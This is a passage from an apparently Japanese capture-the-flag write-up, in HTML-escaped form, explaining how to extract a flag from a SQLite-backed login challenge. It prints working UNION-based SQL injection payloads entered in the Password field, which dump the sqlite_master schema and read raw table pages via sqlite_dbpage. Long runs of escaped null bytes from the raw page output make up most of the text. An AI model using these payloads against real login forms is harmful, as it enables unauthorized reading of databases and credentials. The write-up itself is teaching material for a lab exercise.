00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x009\x03y\tAlpaca{Harder_version: `if &amp;#34;secret&amp;#34; in value.lower()`}&amp;#39;!
&lt;/code>&lt;/pre>&lt;h4 id="解法その３テーブルの名前の一部から求める">解法（その３：テーブルの名前の一部から求める）&lt;/h4>
&lt;p>SQLite には内部テーブルとして，&lt;code>sqlite_schema&lt;/code>が存在する．（参考： &lt;a href="https://www.sqlite.org/schematab.html"target="_blank" rel="noopener noreferrer">https://www.sqlite.org/schematab.html&lt;/a>）&lt;/p>
&lt;pre tabindex="0">&lt;code>CREATE TABLE sqlite_schema(
type text,
name text,
tbl_name text,
rootpage integer,
sql text
);
&lt;/code>&lt;/pre>&lt;p>今回だと例えば，Username:admin, Passwordを以下のように入力すると，&lt;/p>
&lt;pre tabindex="0">&lt;code>&amp;#39; UNION SELECT group_concat( type || &amp;#39;:&amp;#39; || name || &amp;#39;:&amp;#39; || tbl_name || &amp;#39;:&amp;#39; || rootpage || &amp;#39;:&amp;#39; || sql, &amp;#39; || &amp;#39;), 1 FROM sqlite_master&amp;#39; --
&lt;/code>&lt;/pre>&lt;p>レスポンスが以下のように得られる．&lt;code>sqlite_schema&lt;/code>の内容を見ることができる．&lt;/p>
&lt;pre tabindex="0">&lt;code>Hello, table:users:users:2:CREATE TABLE users (
username TEXT PRIMARY KEY,
password TEXT NOT NULL
) || table:secret:secret:4:CREATE TABLE secret (
flag TEXT PRIMARY KEY
)!
&lt;/code>&lt;/pre>&lt;p>このとき，各テーブルの&lt;code>rootpage&lt;/code>が&lt;code>sqlite_dbpage&lt;/code>における&lt;code>pgno&lt;/code>に対応すると思えばよい（厳密には「そのテーブルの B-tree の rootpage 番号」）．&lt;/p>
&lt;p>したがって，&lt;code>secret&lt;/code>テーブルの&lt;code>rootpage&lt;/code>は&lt;code>4&lt;/code>であるので，Passwordを以下のように入力すると，&lt;/p>
&lt;pre tabindex="0">&lt;code>&amp;#39; UNION SELECT data, 1 FROM sqlite_dbpage WHERE pgno=4 --
&lt;/code>&lt;/pre>&lt;p>&lt;code>secret&lt;/code>テーブルの生のバイナリデータがレスポンスとして返され，その末尾からflagが得られる．&lt;/p>
&lt;pre tabindex="0">&lt;code>Hello, b&amp;#39;\r\x00\x00\x00\x01\x0f\xc6\x00\x0f\xc6\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\